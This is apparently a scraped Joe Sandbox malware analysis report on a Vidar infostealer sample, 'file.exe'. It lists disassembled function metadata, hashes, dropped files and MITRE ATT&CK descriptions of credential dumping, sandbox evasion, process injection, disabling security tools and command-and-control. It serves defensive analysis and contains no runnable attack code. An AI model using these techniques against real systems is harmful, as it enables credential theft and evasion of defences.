moz_xmalloc.MOZGLUE(0K}l,?,6C7D4B30,80000000,?,6C7D4AB7,?,6C7943CF,?,6C7942D2), ref: 6C7A6C58

Strings

0K}l, xrefs: 6C7A6C33, 6C7A6C41, 6C7A6C57

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K}l
API String ID: 1967447596-1932881748
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 21e623df4853cb0d2ece3ce7510466bd75ba9f152c08d2f318b6030035d5c982
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 36E026F1B501002A9B0898FC9E0D62A71C9DB146A97044B35E822C2BC9FA15F6828051

Function 6C7ABED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C7ABEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C7ABEF5

Strings

cryptbase.dll, xrefs: 6C7ABEF0

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: d3549697aab122897af843e4a76b0ccbb13a10bc40517ef6d84fc0168306c1d4
Instruction ID: 5701d649421dc5523f1e7866da059b3d314ad57fabd5ed07f307c5c9fdc77da6
Opcode Fuzzy Hash: d3549697aab122897af843e4a76b0ccbb13a10bc40517ef6d84fc0168306c1d4
Instruction Fuzzy Hash: B4D0C73118910DEAD7506AD08E06B2537F89741729F50C431F75994E51D7B1A451DFD4

Function 6C7EB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C7EB2C9,?,?,?,6C7EB127,?,?,?,?,?,?,?,?,?,6C7EAE52), ref: 6C7EB628

Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E90FF
Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C7EB2C9,?,?,?,6C7EB127,?,?,?,?,?,?,?,?,?,6C7EAE52), ref: 6C7EB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C7EB2C9,?,?,?,6C7EB127,?,?,?,?,?,?,?,?,?,6C7EAE52), ref: 6C7EB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C7EB127,?,?,?,?,?,?,?,?), ref: 6C7EB74D

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 85cc2fac8653a88f35c25af0dea46d35618715afdad17616c6716b76b48e5449
Instruction ID: 06b176ab248f2de27257ac174a02d7d65cb5bde167af061866928caaf60e2339
Opcode Fuzzy Hash: 85cc2fac8653a88f35c25af0dea46d35618715afdad17616c6716b76b48e5449
Instruction Fuzzy Hash: CC51CFB2A053168FDB14CF29CA8465EBBB1FF49304F45853AC85AABB01D731B804CBA5

Function 6C7EDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C7DFF2A), ref: 6C7EDFFD

Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E90FF
Part of subcall function 6C7E90E0: free.MOZGLUE(?,00000000,?,?,6C7EDEDB), ref: 6C7E9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C7DFF2A), ref: 6C7EE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C7DFF2A), ref: 6C7EE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C7DFF2A), ref: 6C7EE0FE

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7ce3d10eb40552e98744ac501dd91c00fd52d006b0c352a05b7542d37ef162a7
Instruction ID: fb81f388440e11d064b6c83c1e60f3e38f39016355f7cbd2648c092b1569b731
Opcode Fuzzy Hash: 7ce3d10eb40552e98744ac501dd91c00fd52d006b0c352a05b7542d37ef162a7
Instruction Fuzzy Hash: 0441B4B260421A8FEB24CF68DA8035E77B6BB49308F244D39D556DBB41E731E944CBD2

Function 6C7E6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C7E6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C7E6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C7E6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7E6F5C

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 9091e74545259323db3e171e461f072c0db0efd4a0e3c36a8ddf3b7c107d9032
Instruction ID: b4de1298b405317f7ed06e7b856cfea8c923b8657c05456c64c3ed34ae4b50c0
Opcode Fuzzy Hash: 9091e74545259323db3e171e461f072c0db0efd4a0e3c36a8ddf3b7c107d9032
Instruction Fuzzy Hash: 2631F872A1060A8FDB14CF2CCE416AA73E9FB88304F50453DD51AC7651EF31E659C790

Function 6C7FB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C7A0A4D), ref: 6C7FB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C7A0A4D), ref: 6C7FB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C7A0A4D), ref: 6C7FB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C7A0A4D), ref: 6C7FB67F

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 377cded6b28bf30d628056c00f74c62193e25535573d55b1d50c4301a3a6a30b
Instruction ID: 2999d3e7f395c84de7e15816ae740069885ae2363873547e5a73795175df2aba
Opcode Fuzzy Hash: 377cded6b28bf30d628056c00f74c62193e25535573d55b1d50c4301a3a6a30b
Instruction Fuzzy Hash: BA31A571A012168FDB10DF68C98465EBBF5EF81318F168579C8169B702DB31F916CBE1

Function 6C7CF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C7CF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C7CF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C7CF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C7CF668

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 9c11dcfda8cf107177ef5dff9a497f01d021e19d08495ebc3f736db5415bf72f
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: DC314F71B00215AFC724CF5DDDC0A9B77B5EB88354B14893DFA498BB05D631F9448BA1

Function 6C7E26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7E26C1
free.MOZGLUE(?), ref: 6C7E26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7E26FF
free.MOZGLUE ref: 6C7E270D

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 433cbd4fd75e30d8b1943edf031636dbf15c1970c80025c5a12c93c93c6a5a2c
Instruction ID: e589085c12d294380447e93e2c6c0057b98d112cc2d28e3e3ca83ff2647b567d
Opcode Fuzzy Hash: 433cbd4fd75e30d8b1943edf031636dbf15c1970c80025c5a12c93c93c6a5a2c
Instruction Fuzzy Hash: BEF0F9B37012025BE7109E18ED8894773ADEF4521CB100135EA16D7F02E331F918C691

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGCAAFHIEBKJ\AEHIEC

C:\ProgramData\BGCAAFHIEBKJ\AFHDHC

C:\ProgramData\BGCAAFHIEBKJ\DHCAAE

C:\ProgramData\BGCAAFHIEBKJ\EBAFBG

C:\ProgramData\BGCAAFHIEBKJ\EBAFBG-shm

C:\ProgramData\BGCAAFHIEBKJ\ECBGCB

C:\ProgramData\BGCAAFHIEBKJ\FHDAFI

C:\ProgramData\BGCAAFHIEBKJ\GIECFI

C:\ProgramData\BGCAAFHIEBKJ\IJKFCF

C:\ProgramData\BGCAAFHIEBKJ\KFHCAE

C:\ProgramData\BGCAAFHIEBKJ\KFHCAE-shm

Windows Analysis Report
file.exe

Function 6E7F9610 Relevance: 21.4, APIs: 2, Strings: 10, Instructions: 418
COMMON

Function 6E80BABE Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Function 6E80BB6E Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Function 6E80B9B7 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Function 6E8138E1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre